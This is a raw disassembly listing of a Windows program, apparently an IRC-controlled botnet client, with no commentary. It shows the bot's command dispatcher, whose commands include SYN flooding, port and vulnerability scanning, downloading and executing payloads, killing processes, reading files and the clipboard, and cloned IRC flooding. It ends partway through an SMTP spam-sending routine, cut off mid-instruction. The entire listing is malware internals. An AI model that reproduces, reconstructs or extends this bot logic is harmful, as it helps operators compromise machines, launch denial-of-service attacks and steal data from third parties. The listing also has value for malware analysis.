sub_4087B3+AD6j call sub_416B18 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_4092AB: ; CODE XREF: sub_4087B3+AE5j lea eax, [ebp+var_20] mov [ebp+var_13], bl push eax call sub_4158E0 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_20] push ebx push eax call sub_415CA0 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_20] push [ebp+arg_10] push eax call sub_416A10 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40113B push edi push [ebp+arg_0] call sub_417760 add esp, 30h jmp loc_40922A ; --------------------------------------------------------------------------- loc_4092FA: ; CODE XREF: sub_4087B3+A79j mov edi, 1FFh lea eax, [ebp+var_F9C] push edi push [ebp+arg_0] push eax call sub_416A10 lea eax, [ebp+var_F9C] push edi push eax lea eax, [ebp+var_119C] push eax call sub_416A10 lea eax, [ebp+var_119C] push offset asc_42BFC4 ; " " push eax call sub_4176C0 add esp, 20h mov [ebp+var_A0], eax lea edi, [ebp+var_9C] mov [ebp+arg_10], 1Fh loc_40934A: ; CODE XREF: sub_4087B3+BACj push offset asc_42BFC4 ; " " push ebx call sub_4176C0 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40934A mov ecx, [ebp+esi+var_A0] lea eax, [ebp+esi+var_A0] cmp ecx, ebx jz loc_408B77 add ecx, 3 mov [eax], ecx loc_40937C: ; CODE XREF: sub_4087B3+A02j mov edi, [ebp+esi+var_A0] push edi push offset aRndnick_0 ; "rndnick" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CFD6 push edi push offset aRn ; "rn" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CFD6 push edi push offset aDien0w ; "dien0w" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CFB4 push edi push offset aDn0 ; "dn0" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CFB4 push edi push offset aLogout ; "logout" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CF09 push edi push offset aG0t ; "g0t" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CF09 push edi push offset aVersion ; "version" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CEEB push edi push offset aVer ; "ver" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CEEB push edi push offset aSecure ; "secure" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDD6 push edi push offset aSec ; "sec" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDD6 push edi push offset aUnsecure ; "unsecure" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDD6 push edi push offset aUnsec ; "unsec" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDD6 push edi push offset aHttpdstop ; "httpdstop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_4094BF push [ebp+esi+var_9C] push 3 push offset aServer_0 ; "Server" push offset dword_42F770 loc_4094A3: ; CODE XREF: sub_4087B3+D30j ; sub_4087B3+D56j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4010A0 add esp, 20h jmp loc_408B77 ; --------------------------------------------------------------------------- loc_4094BF: ; CODE XREF: sub_4087B3+CDBj push edi push offset aLogstop ; "logstop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_4094E5 push [ebp+esi+var_9C] push 1Ch push offset aLogList ; "Log list" push offset dword_42F740 jmp short loc_4094A3 ; --------------------------------------------------------------------------- loc_4094E5: ; CODE XREF: sub_4087B3+D1Bj push edi push offset aRedirectstop ; "redirectstop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40950B push [ebp+esi+var_9C] push 10h push offset aTcpRedirect ; "TCP redirect" push offset dword_42F700 jmp short loc_4094A3 ; --------------------------------------------------------------------------- loc_40950B: ; CODE XREF: sub_4087B3+D41j push edi push offset aSynstop ; "synstop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409534 push [ebp+esi+var_9C] push 0Bh push offset aSynFlood ; "Syn flood" push offset dword_42F6D0 jmp loc_4094A3 ; --------------------------------------------------------------------------- loc_409534: ; CODE XREF: sub_4087B3+D67j push edi push offset aTftpstop ; "tftpstop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40955D push [ebp+esi+var_9C] push 4 push offset aServer_0 ; "Server" push offset dword_42F6A8 jmp loc_4094A3 ; --------------------------------------------------------------------------- loc_40955D: ; CODE XREF: sub_4087B3+D90j push edi push offset aProcsstop ; "procsstop" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDBE push edi push offset aProcsoff ; "procsoff" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDBE push edi push offset aSecurestop ; "securestop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_4095B0 push [ebp+esi+var_9C] push 19h push offset aSecure_0 ; "Secure" push offset dword_42F65C jmp loc_4094A3 ; --------------------------------------------------------------------------- loc_4095B0: ; CODE XREF: sub_4087B3+DE3j push edi push offset aScan_stop ; "scan.stop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_4095D9 push [ebp+esi+var_9C] push 8 push offset aVuln ; "Vuln" push offset dword_42F62C jmp loc_4094A3 ; --------------------------------------------------------------------------- loc_4095D9: ; CODE XREF: sub_4087B3+E0Cj push edi push offset aScanstats ; "scanstats" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDA5 push edi push offset aScan_sts ; "scan.sts" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CDA5 push edi push offset aReconnect ; "reconnect" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD84 push edi push offset aR ; "r" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD84 push edi push offset aDisconnect ; "disconnect" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD62 push edi push offset aD_0 ; "d" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD62 push edi push offset aQuit_0 ; "quit" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD1A push edi push offset aQ ; "q" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CD1A push edi push offset aStatus ; "status" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CCDC push edi push offset aS_6 ; "s" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CCDC push edi push offset aId ; "id" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CCA5 push edi push offset aI_0 ; "i" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CCA5 push edi push offset aReboot ; "reboot" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409727 call sub_401136 test eax, eax mov eax, offset unk_42F598 jnz short loc_4096F9 mov eax, offset unk_42F560 loc_4096F9: ; CODE XREF: sub_4087B3+F3Fj push eax lea eax, [ebp+var_2E4] push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 1Ch jmp loc_40B351 ; --------------------------------------------------------------------------- loc_409727: ; CODE XREF: sub_4087B3+F31j push edi push offset aThreads ; "threads" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CBAE push edi push offset aT ; "t" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CBAE push edi push offset aAliases ; "aliases" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CB8B push edi push offset aAl ; "al" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CB8B push edi push offset aLog ; "log" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA9B push edi push offset aLg ; "lg" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA9B push edi push offset aClearlog ; "clearlog" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA82 push edi push offset aClg ; "clg" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA82 push edi push offset aNetinfo ; "netinfo" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA48 push edi push offset aNi ; "ni" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA48 push edi push offset aSysinfo ; "sysinfo" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA1D push edi push offset aSi ; "si" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40CA1D push edi push offset aRemove ; "remove" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C9E3 push edi push offset aRm ; "rm" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C9E3 push edi push offset aProcs ; "procs" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C8CF push edi push offset aPs ; "ps" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C8CF push edi push offset aUptime ; "uptime" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C848 push edi push offset aUp ; "up" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C848 push edi push offset aDriveinfo ; "driveinfo" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C82B push edi push offset aDrv ; "drv" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C82B push edi push offset aTestdlls ; "testdlls" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C812 push edi push offset aDll ; "dll" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C812 push edi push offset aWho ; "who" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40997C cmp [ebp+var_8], ebx jnz short loc_409925 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_409925: ; CODE XREF: sub_4087B3+1156j mov edi, [ebp+arg_18] xor esi, esi loc_40992A: ; CODE XREF: sub_4087B3+11BDj cmp [edi], bl lea eax, [edi+1] jnz short loc_409936 mov eax, offset aEmpty ; "<Empty>" loc_409936: ; CODE XREF: sub_4087B3+117Cj push eax push esi lea eax, [ebp+var_2E4] push offset aD_S ; "%d. %s" push eax call sub_416821 push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 24h inc esi add edi, 80h cmp esi, 5 jl short loc_40992A push offset unk_42F464 jmp loc_40CC9A ; --------------------------------------------------------------------------- loc_40997C: ; CODE XREF: sub_4087B3+1151j push edi push offset aGetclip ; "getclip" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C7D1 push edi push offset aGc ; "gc" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C7D1 push edi push offset aFlusharp ; "flusharp" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C7A6 push edi push offset aFarp ; "farp" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C7A6 push edi push offset aFlushdns ; "flushdns" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C782 push edi push offset aFdns ; "fdns" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C782 push edi push offset aScan_currentip ; "scan.currentip" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C748 push edi push offset aScan_cip ; "scan.cip" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C748 push edi push offset aHttpd_on ; "httpd.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C5A6 push edi push offset aWeb_on ; "web.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C5A6 push edi push offset aSrv_tftpserver ; "srv.tftpserver.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C468 push edi push offset aSrv_tftp_on ; "srv.tftp.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C468 push edi push offset aScanall ; "scanall" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C15B push edi push offset aScan_a ; "scan.a" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C15B mov eax, [ebp+esi+var_9C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_408B77 push edi push offset aNick_0 ; "nick" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C136 push edi push offset aN ; "n" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C136 push edi push offset aJoin ; "join" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C112 push edi push offset aJ ; "j" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C112 push edi push offset aPart_0 ; "part" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C0F8 push edi push offset aPt ; "pt" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C0F8 push edi push offset aRaw ; "raw" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C0C2 push edi push offset aR ; "r" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40C0C2 push edi push offset aKillthread ; "killthread" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BFFD push edi push offset aK ; "k" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BFFD push edi push offset aClone_quit ; "clone.quit" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BF51 push edi push offset aClone_q ; "clone.q" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BF51 push edi push offset aClone_rndnick ; "clone.rndnick" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BF05 push edi push offset aClone_rn ; "clone.rn" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BF05 push edi push offset aPrefix ; "prefix" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BEEC push edi push offset aPr ; "pr" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BEEC push edi push offset aOpen ; "open" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BEBE push edi push offset aO ; "o" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BEBE push edi push offset aNewserver ; "newserver" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BE95 push edi push offset aIrc_news ; "irc.news" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BE95 push edi push offset aDns ; "dns" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BE22 push edi push offset aDn ; "dn" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BE22 push edi push offset aKillproc ; "killproc" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BDF2 push edi push offset aKp ; "kp" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BDF2 push edi push offset aKill ; "kill" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BD93 push edi push offset aKi ; "ki" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BD93 push edi push offset aDelete ; "delete" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BD58 push edi push offset aDel ; "del" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BD58 push edi push offset aVisit ; "visit" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BC76 push edi push offset aV ; "v" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BC76 push edi push offset aMirccmd ; "mirccmd" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BC39 push edi push offset aMirc ; "mirc" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BC39 push edi push offset aReadfile ; "readfile" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BBAE push edi push offset aRf ; "rf" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BBAE push edi push offset aSrv_ident ; "srv.ident" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_409E61 push [ebp+arg_10] push offset aOn ; "on" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409E19 push 2 call sub_4010E6 test eax, eax pop ecx jle short loc_409DBC push offset unk_42F27C jmp loc_409E4E ; --------------------------------------------------------------------------- loc_409DBC: ; CODE XREF: sub_4087B3+15FDj lea eax, [ebp+var_2E4] push offset unk_42D1DC push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 2 push eax call sub_40105F add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset sub_401195 push ebx push ebx call ds:dword_49532C ; CreateThread imul esi, 234h cmp eax, ebx mov dword_43E934[esi], eax jnz loc_40B330 call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42D190 jmp loc_40CFA0 ; --------------------------------------------------------------------------- loc_409E19: ; CODE XREF: sub_4087B3+15F1j push [ebp+arg_10] push offset dword_42F278 call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40B330 push ebx push 2 call sub_401285 pop ecx cmp eax, ebx pop ecx jle short loc_409E49 push eax push offset unk_42F22C jmp loc_40CFA0 ; --------------------------------------------------------------------------- loc_409E49: ; CODE XREF: sub_4087B3+1689j push offset unk_42F1F8 loc_409E4E: ; CODE XREF: sub_4087B3+1604j ; sub_4087B3+3CC6j lea eax, [ebp+var_2E4] push eax call sub_416821 pop ecx pop ecx jmp loc_40B330 ; --------------------------------------------------------------------------- loc_409E61: ; CODE XREF: sub_4087B3+15DAj push edi push offset dword_42F1F4 call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40A11D cmp dword_49172C, ebx jz short loc_409E90 cmp dword_491754, ebx jz short loc_409E90 push offset unk_42F1A4 jmp loc_40A0ED ; --------------------------------------------------------------------------- loc_409E90: ; CODE XREF: sub_4087B3+16C9j ; sub_4087B3+16D1j cmp [ebp+var_C], ebx jz loc_40A0FB mov edi, [ebp+esi+var_98] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_409EB5 push edi push [ebp+var_C] call sub_417760 pop ecx mov [ebp+arg_0], eax pop ecx loc_409EB5: ; CODE XREF: sub_4087B3+16F2j push [ebp+arg_10] push offset aStart ; "start" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409F1C cmp edi, ebx jz short loc_409EF0 push [ebp+arg_0] push 3 loc_409ED1: ; CODE XREF: sub_4087B3+1781j ; sub_4087B3+179Bj ... call sub_4010C3 push eax lea eax, [ebp+var_2E4] push offset aS_2 ; "%s" push eax call sub_416821 add esp, 14h jmp loc_40A0FB ; --------------------------------------------------------------------------- loc_409EF0: ; CODE XREF: sub_4087B3+1717j push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4010E1 add esp, 0Ch test eax, eax jz short loc_409F12 push offset unk_42F164 jmp loc_40A0ED ; --------------------------------------------------------------------------- loc_409F12: ; CODE XREF: sub_4087B3+1753j push offset unk_42F130 jmp loc_40A0ED ; --------------------------------------------------------------------------- loc_409F1C: ; CODE XREF: sub_4087B3+1713j push [ebp+arg_10] push offset aStop ; "stop" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409F36 push [ebp+arg_0] push 4 jmp short loc_409ED1 ; --------------------------------------------------------------------------- loc_409F36: ; CODE XREF: sub_4087B3+177Aj push [ebp+arg_10] push offset aPause ; "pause" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409F50 push [ebp+arg_0] push 5 jmp short loc_409ED1 ; --------------------------------------------------------------------------- loc_409F50: ; CODE XREF: sub_4087B3+1794j push [ebp+arg_10] push offset aContinue ; "continue" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409F6D push [ebp+arg_0] push 6 jmp loc_409ED1 ; --------------------------------------------------------------------------- loc_409F6D: ; CODE XREF: sub_4087B3+17AEj push [ebp+arg_10] push offset aDelete ; "delete" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_409F8A push [ebp+arg_0] push 1 jmp loc_409ED1 ; --------------------------------------------------------------------------- loc_409F8A: ; CODE XREF: sub_4087B3+17CBj push [ebp+arg_10] push offset aShare ; "share" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40A004 cmp edi, ebx jz short loc_409FD7 cmp [ebp+var_9B0], bl jz short loc_409FAF push ebx push edi push 1 jmp short loc_409FB8 ; --------------------------------------------------------------------------- loc_409FAF: ; CODE XREF: sub_4087B3+17F4j push [ebp+esi+var_94] push edi push ebx loc_409FB8: ; CODE XREF: sub_4087B3+17FAj call sub_40117C push eax lea eax, [ebp+var_2E4] push offset aS_2 ; "%s" push eax call sub_416821 add esp, 18h jmp loc_40A0FB ; --------------------------------------------------------------------------- loc_409FD7: ; CODE XREF: sub_4087B3+17ECj push ebx push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4011A9 add esp, 10h test eax, eax jz short loc_409FFA push offset unk_42F0D8 jmp loc_40A0ED ; --------------------------------------------------------------------------- loc_409FFA: ; CODE XREF: sub_4087B3+183Bj push offset unk_42F0A8 jmp loc_40A0ED ; --------------------------------------------------------------------------- loc_40A004: ; CODE XREF: sub_4087B3+17E8j push [ebp+arg_10] push offset aUser_1 ; "user" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40A09F cmp edi, ebx jz short loc_40A078 cmp [ebp+var_9B0], bl jz short loc_40A039 push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_40A059 ; --------------------------------------------------------------------------- loc_40A039: ; CODE XREF: sub_4087B3+1872j push [ebp+var_4] mov esi, [ebp+esi+var_94] cmp esi, ebx push [ebp+var_98] push [ebp+arg_4] jz short loc_40A055 push esi push edi push ebx jmp short loc_40A059 ; --------------------------------------------------------------------------- loc_40A055: ; CODE XREF: sub_4087B3+189Bj push ebx push edi push 2 loc_40A059: ; CODE XREF: sub_4087B3+1884j ; sub_4087B3+18A0j call sub_40102D push eax lea eax, [ebp+var_2E4] push offset aS_2 ; "%s" push eax call sub_416821 add esp, 24h jmp loc_40A0FB ; --------------------------------------------------------------------------- loc_40A078: ; CODE XREF: sub_4087B3+186Aj push ebx push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] call sub_4011FE add esp, 10h test eax, eax jz short loc_40A098 push offset unk_42F074 jmp short loc_40A0ED ; --------------------------------------------------------------------------- loc_40A098: ; CODE XREF: sub_4087B3+18DCj push offset unk_42F044 jmp short loc_40A0ED ; --------------------------------------------------------------------------- loc_40A09F: ; CODE XREF: sub_4087B3+1862j push [ebp+arg_10] push offset aSend ; "send" call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40A0E8 cmp edi, ebx jz short loc_40A0E1 push [ebp+var_4] push [ebp+var_98] push [ebp+arg_4] push [ebp+arg_0] call sub_40127B push eax lea eax, [ebp+var_2E4] push offset aS_2 ; "%s" push eax call sub_416821 add esp, 1Ch jmp short loc_40A0FB ; --------------------------------------------------------------------------- loc_40A0E1: ; CODE XREF: sub_4087B3+1901j push offset unk_42F008 jmp short loc_40A0ED ; --------------------------------------------------------------------------- loc_40A0E8: ; CODE XREF: sub_4087B3+18FDj push offset unk_42EFD8 loc_40A0ED: ; CODE XREF: sub_4087B3+16D8j ; sub_4087B3+175Aj ... lea eax, [ebp+var_2E4] push eax call sub_416821 pop ecx pop ecx loc_40A0FB: ; CODE XREF: sub_4087B3+16E0j ; sub_4087B3+1738j ... cmp [ebp+var_8], ebx jnz loc_40B5AF push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] jmp loc_40B5A7 ; --------------------------------------------------------------------------- loc_40A11D: ; CODE XREF: sub_4087B3+16BDj push edi push offset aGethost ; "gethost" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BAC0 push edi push offset aGh ; "gh" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BAC0 mov eax, [ebp+esi+var_98] cmp eax, ebx mov [ebp+arg_18], eax jz loc_408B77 push edi push offset aAddalias ; "addalias" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BA7D push edi push offset aAa ; "aa" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BA7D push edi push offset aPrivmsg_0 ; "privmsg" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BA23 push edi push offset aPm_0 ; "pm" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40BA23 push edi push offset aAction ; "action" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B9B1 push edi push offset aA_0 ; "a" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B9B1 push edi push offset aCycle ; "cycle" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B949 push edi push offset aCy ; "cy" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B949 push edi push offset aMode ; "mode" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B910 push edi push offset aM_0 ; "m" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B910 push edi push offset aClone_raw ; "clone.raw" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B8A2 push edi push offset aClone_r ; "clone.r" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B8A2 push edi push offset aClone_mode ; "clone.mode" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B81D push edi push offset aClone_m ; "clone.m" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B81D push edi push offset aClone_nick ; "clone.nick" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B7AC push edi push offset aClone_n ; "clone.n" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B7AC push edi push offset aClone_join ; "clone.join" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B784 push edi push offset aClone_j ; "clone.j" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B784 push edi push offset aClone_part ; "clone.part" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B71E push edi push offset aClone_p ; "clone.p" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B71E push edi push offset aRepeat ; "repeat" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B656 push edi push offset aRp ; "rp" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B656 push edi push offset aDelay ; "delay" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B5B7 push edi push offset aDe ; "de" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B5B7 push edi push offset aUpdate ; "update" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B3FD push edi push offset aUpdate ; "update" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B3FD push edi push offset aExecute ; "execute" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B368 push edi push offset aE ; "e" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B368 push edi push offset aRename ; "rename" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B2E0 push edi push offset aMv ; "mv" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B2E0 mov eax, [ebp+esi+var_94] cmp eax, ebx mov [ebp+arg_0], eax jz loc_408B77 push edi push offset aClone_make ; "clone.make" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B1F3 push edi push offset aC_make ; "c.make" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B1F3 push edi push offset aSyn ; "syn" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B0F2 push edi push offset aSyn ; "syn" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40B0F2 push edi push offset aDownload ; "download" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40AFB0 push edi push offset aDownload ; "download" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40AFB0 push edi push offset aSrv_redirect_o ; "srv.redirect.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40AEB4 push edi push offset aSrv_rd_on ; "srv.rd.on" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40AEB4 push edi push offset aPortscan ; "portscan" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ADBF push edi push offset aSc ; "sc" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ADBF push edi push offset aClone_privmsg ; "clone.privmsg" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ACE5 push edi push offset aClone_pm ; "clone.pm" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ACE5 push edi push offset aClone_action ; "clone.action" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ABCE push edi push offset aClone_a ; "clone.a" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40ABCE mov eax, [ebp+esi+var_90] cmp eax, ebx mov [ebp+arg_8], eax jz loc_408B77 push edi push offset aAdvscan ; "advscan" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40A87B push edi push offset aAsc ; "asc" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_40A87B push edi push offset aEmail ; "email" call sub_416B70 pop ecx test eax, eax pop ecx jnz loc_40A6E6 push [ebp+arg_10] lea eax, [ebp+var_3E4] push eax call sub_4175D0 push [ebp+arg_18] call sub_416CCF push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_D9C] push eax call sub_4175D0 push [ebp+arg_8] lea eax, [ebp+var_B94] push eax call sub_4175D0 push offset asc_42BFC4 ; " " push offset a_ ; "_" push [ebp+esi+var_8C] call sub_40113B push eax lea eax, [ebp+var_548] push eax call sub_4175D0 add esp, 30h lea eax, [ebp+var_6F4] push eax push 101h call dword_4915D4 ; WSAStartup lea eax, [ebp+var_3E4] push eax call dword_4916E0 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4916DC ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_D4], eax call dword_49165C ; htons mov [ebp+var_D6], ax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_548] push eax lea eax, [ebp+var_B94] push eax lea eax, [ebp+var_D9C] push eax lea eax, [ebp+var_159C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_416821 add esp, 1Ch lea eax, [ebp+var_D8] push 10h push eax push esi call dword_491604 ; connect mov edi, 100h push ebx lea eax, 